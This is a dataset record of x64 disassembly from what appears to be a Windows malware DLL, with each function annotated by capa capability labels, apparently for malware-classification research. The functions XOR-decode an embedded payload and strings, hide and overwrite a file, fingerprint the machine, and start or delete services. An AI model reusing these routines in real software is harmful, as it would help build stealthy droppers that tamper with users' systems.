joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180015308
Capabilities:
Delete file
Encode data using xor
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov r8d, 0xa88
lea rcx, [0x1800347b0]
mov rbx, rdx
call qword [sym.imp.ntdll.dll_memcpy]
mov rax, rbx
mov ecx, 0xa88
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18001533b
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
movabs r8, 0xb1f5694e331e1997
lea r9, [rsp + 0x60]
mov qword [rsp + 0x40], r8
movabs rdx, 0x6bc1629f3926102c
mov qword [rsp + 0x48], rdx
movabs rcx, 0x9ead7275034fe1de
mov qword [rsp + 0x38], rcx
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x50], rax
movabs rax, 0xb181693d337019fe
mov qword [rsp + 0x20], rax
movabs rax, 0x6bef62f3394a104d
mov qword [rsp + 0x28], rax
movabs rax, 0xc935aa373abbe82
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0xb1d06912336d19b2
movups xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea r8, [0x180035014]
pxor xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x40], rax
movabs rax, 0x6bc1629f3926105f
mov qword [rsp + 0x58], rcx
lea rcx, [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rsp + 0x20]
mov qword [rsp + 0x48], rax
movdqa xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x40]
pxor xmm1, xmm0
movdqa xmmword [rsp + 0x20], xmm1
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 2
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov r8d, 0xa88
lea rcx, [rbp - 0x80]
mov rdx, rbx
call fcn.180015490
mov edx, 7
lea rcx, [rbp - 0x80]
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov eax, ebx
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rbp
ret

Function at 0x180015490
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov edi, r8d
and dword [rax - 0x20], 0
mov rsi, rdx
and dword [rax + 0x20], 0
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x28], 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800154dc
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180015524
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x180015514
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
test rbx, rbx
je 0x180015510
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
jmp 0x180015524
test rbx, rbx
je 0x180015522
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x180016030
Capabilities:
Get common file path
Get disk information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2b0
mov rsi, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x208
call sub.ntdll.dll_memset
xor ebx, ebx
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x68], rbx
mov dword [rbp + 0x1d8], ebx
lea edx, [rbx + 0x64]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
jne 0x180016094
call qword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x180016094
movzx eax, word [rbp - 0x60]
jmp 0x18001609d
mov eax, 0x43
mov word [rbp - 0x60], ax
mov dword [rsp + 0x38], ebx
lea r9, [rbp + 0x1d8]
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov word [rsp + 0x60], ax
mov dword [rsp + 0x62], 0x5c003a
mov word [rsp + 0x66], bx
call qword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
imul eax, dword [rbp + 0x1d8], 0x14a30b
mov edx, 0x69427551
sub eax, edx
imul ecx, eax, 0x14a30b
mov dword [rsp + 0x70], eax
sub ecx, edx
mov word [rsp + 0x76], cx
imul ecx, ecx, 0x14a30b
sub ecx, edx
mov byte [rsp + rbx + 0x78], cl
inc rbx
cmp rbx, 8
jl 0x1800160fb
xorps xmm0, xmm0
mov dword [rbp + 0x1d8], ecx
movups xmmword [rsp + 0x50], xmm0
xor ecx, ecx
mov eax, 1
cpuid
mov dword [rsp + 0x58], ecx
movabs r14, 0x6bc1629f3926102c
mov dword [rsp + 0x54], ebx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x48], r14
mov r8d, edx
movups xmmword [rbp - 0x80], xmm0
movabs rbx, 0xb1f5694e6b2629b2
movabs r15, 0xb1f5694e331e1997
mov qword [rsp + 0x40], r15
lea rdx, [rsp + 0x40]
movdqa xmm1, xmmword [rsp + 0x40]
mov edi, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rsp + 0x50]
pxor xmm1, xmm0
movdqa xmmword [rsp + 0x40], xmm1
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rsp + 0x40], rbx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], r14
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], r15
mov r8d, edi
mov qword [rsp + 0x58], r14
movdqa xmm1, xmmword [rsp + 0x50]
pxor xmm1, xmm0
movdqa xmmword [rsp + 0x40], xmm1
call qword [sym.imp.USER32.dll_wsprintfA]
movzx r9d, word [rsp + 0x76]
lea rdx, [rsp + 0x40]
mov r8d, dword [rsp + 0x70]
movabs rax, 0xb1ad696b334619b2
mov qword [rsp + 0x40], rax
mov rcx, rsi
movabs rax, 0x6bc162ec394e1009
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x20], rax
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
lea r11, [rsp + 0x2b0]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180016328
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rdx
mov edi, ecx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x238
call qword [sym.imp.ntdll.dll_memset]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800163ba
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x180016392
cmp dword [rsp + 0x28], edi
je 0x180016398
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x18001637e
jmp 0x1800163ac
mov r8d, 0x208
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
test rbx, rbx
je 0x1800163ba
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r11, [rsp + 0x260]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1800163d4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov ebx, edx
mov rsi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x180016441
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x18001642b
cmp ebx, dword [rsp + 0x40]
je 0x18001643b
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
jmp 0x18001640f
mov eax, dword [rsp + 0x28]
jmp 0x180016443
xor eax, eax
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180016458
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
xor edx, edx
mov ebx, ecx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1800164a1
cmp dword [rsp + 0x28], ebx
je 0x1800164b6
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x18001648d
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov eax, dword [rsp + 0x40]
jmp 0x1800164a5
Function at 0x1800164bc
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
xor r12d, r12d
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x180016592
test rdx, rdx
je 0x180016592
lea rdx, [rbp - 0x10]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
test eax, eax
je 0x180016586
movzx eax, word [rbp - 0x10]
test ax, ax
je 0x180016586
mov esi, r12d
lea r14, [rbp - 0xe]
mov word [rbp + 0x410], ax
lea rdx, [rsp + 0x20]
movzx eax, word [r14]
lea rcx, [rbp + 0x410]
mov r8d, 0x64
mov word [rbp + 0x412], ax
mov word [rbp + 0x414], r12w
call qword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x180016592
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
movsxd r15, eax
lea rdx, [rsp + 0x20]
mov r8, r15
mov rcx, rdi
call qword [sym.imp.ntdll.dll_wcsncmp]
test eax, eax
je 0x1800165b0
movzx eax, word [rbp + rsi*2 - 8]
add rsi, 4
add r14, 8
test ax, ax
jne 0x18001651b
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
xor eax, eax
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [rdi + r15*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, 1
jmp 0x180016594
Function at 0x1800165d4
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rdi, rdx
mov ebx, ecx
movabs rdx, 0x9c0d6af2d1d2f7fb
movabs rcx, 0x551360233190ca10
mov qword [rsp + 0x40], rdx
movabs rax, 0xb190690a337b19c4
mov qword [rsp + 0x20], rax
movabs r12, 0xb1f5694e331e1997
mov qword [rsp + 0x48], rcx
movabs rax, 0x6b9162f83953104e
movups xmm2, xmmword [rsp + 0x40]
mov qword [rsp + 0x28], rax
movabs r13, 0x6bc1629f3926102c
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x70], rdx
movabs rax, 0xcfa5ab273a4be93
mov qword [rsp + 0x30], rax
movabs r15, 0xc935ac473cdbee1
mov qword [rsp + 0x78], rcx
movabs rax, 0x9ec87212032ae1b2
pxor xmm2, xmmword [rsp + 0x70]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], rax
movabs r14, 0x9ead7275034fe1de
movups xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x50], r12
mov edx, 1
mov qword [rsp + 0x58], r13
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r14
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp + 0x40], xmm2
call fcn.180015f80
movabs rax, 0xb196691a337b19c4
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
movabs rax, 0x6ba862ed3976104e
mov qword [rsp + 0x58], r13
movdqa xmm0, xmmword [rsp + 0x50]
mov edx, 1
mov qword [rsp + 0x28], rax
movabs rax, 0xcf65aa873a4be97
movups xmm1, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x9ead7275032ae1b9
mov qword [rsp + 0x38], rax
movups xmm2, xmmword [rsp + 0x30]
mov qword [rsp + 0x60], r15
pxor xmm0, xmm1
mov qword [rsp + 0x68], r14
pxor xmm2, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm2
movdqa xmmword [rsp + 0x20], xmm0
call fcn.180015f80
and qword [rbp + 0x7c8], 0
lea rcx, [rbp - 0x80]
xor edx, edx
mov r8d, 0x800
call sub.ntdll.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180016836
and dword [rbp + 0x7c0], 0
lea r9, [rbp + 0x7c0]
mov r8d, 8
lea rdx, [rbp + 0x7c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_K32EnumProcessModules]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_K32GetProcessImageFileNameW]
test eax, eax
jne 0x18001681c
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x28], r13
movabs rax, 0xcbfee69544fb7ebd
mov qword [rsp + 0x50], rax
mov rcx, rdi
movabs rax, 0x6bc135c853071003
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x180016828
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.1800164bc
test rbx, rbx
je 0x180016836
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r11, [rsp + 0x880]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180016a38
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180016a6a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180016ac0
mov r8d, 0xf01ff
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x180016a8e
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180016ab5
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x180016aaa
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180016aac
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180016ad0
Capabilities:
Enumerate services

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor ebx, ebx
mov r14, rcx
xor edx, edx
mov dword [rax + 0x18], ebx
xor ecx, ecx
mov dword [rax + 0x10], ebx
lea r8d, [rbx + 5]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x180016bc8
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov ebp, dword [rsp + 0x90]
add ebp, 0x38
mov ecx, ebp
mov r15d, ebp
call qword [sym.imp.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
je 0x180016bc8
mov r8d, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_memset]
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov rcx, rsi
test eax, eax
jne 0x180016bde
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, ebx
cmp dword [rsp + 0x88], ebx
jbe 0x180016c24
mov ebp, esi
mov rdx, r14
imul rcx, rbp, 0x38
mov rcx, qword [rcx + rdi]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x180016c13
inc esi
cmp esi, dword [rsp + 0x88]
jb 0x180016bef
jmp 0x180016c24
imul rax, rbp, 0x38
mov rcx, rdi
mov ebx, dword [rax + rdi + 0x2c]
call qword [sym.imp.msvcrt.dll_free]
mov eax, ebx
jmp 0x180016bca
Function at 0x180017944
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180017971
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1800179c5
lea rdx, [rbx + 0x670]
mov r8d, 0xf01ff
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x1800179a4
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x1800179c5
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x180017969
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180017d7c
Capabilities:
Delete service
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov rbx, rcx
mov edi, 0x208
mov r8d, edi
lea rcx, [rbp + 0x170]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rbx + 0x670]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
movabs rax, 0xb1f5693d336719e4
lea rdx, [rsp + 0x20]
movabs rsi, 0x6bc1629f3926102c
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], rsi
lea rcx, [rbp + 0x170]
mov qword [rsp + 0x48], rsi
movabs r14, 0xb1f5694e331e1997
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], r14
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8d, edi
lea rcx, [rsp + 0x60]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180017e49
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movabs rcx, 0x9ead7275034fe1de
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rcx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x58], rcx
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
movabs rax, 0xb19c693c337a19cb
mov qword [rsp + 0x48], rsi
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], rax
movabs rax, 0x6bb262ed3943105a
mov qword [rsp + 0x28], rax
movabs rax, 0xc935ac473cdbebd
movups xmm1, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movups xmm2, xmmword [rsp + 0x30]
pxor xmm0, xmm1
pxor xmm2, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x30], xmm2
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rbx + 0x670]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x20]
movabs rax, 0xb1866937336d19b9
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x48], rsi
pxor xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180017f4a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180017faa
mov r8d, 0xf01ff
lea rdx, [rbp + 0x170]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x180017f7d
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x180017faa
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x180017f94
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
jmp 0x180017f96
xor esi, esi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180018dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
xor eax, eax
mov ebp, edx
mov r9d, 4
mov edi, r8d
mov r10d, r9d
mov ebx, ecx
shl r10d, cl
mov r8d, 0x1000
cmp ecx, 8
cmovle eax, r10d
xor ecx, ecx
movsxd rdx, eax
add rdx, 0x28
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180018eb2
and dword [rax + 0x10], 0
mov r15d, 1
and dword [rax + 0x18], 0
and dword [rax + 0x1c], 0
and dword [rax + 0x20], 0
and dword [rax + 0x24], 0
movzx ecx, bx
mov word [rax + 0xe], cx
imul ecx, ebp
mov dword [rax], 0x28
mov dword [rax + 4], ebp
mov dword [rax + 8], edi
mov word [rax + 0xc], r15w
add ecx, 0x1f
sar ecx, 3
and ecx, 0xfffffffc
imul ecx, edi
mov dword [rax + 0x14], ecx
cmp ebx, 0x10
jge 0x180018eb2
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, r15d
mov edx, r15d
mov rcx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
and dword [rsp + 0x30], 0
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], 0
xor r8d, r8d
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
ret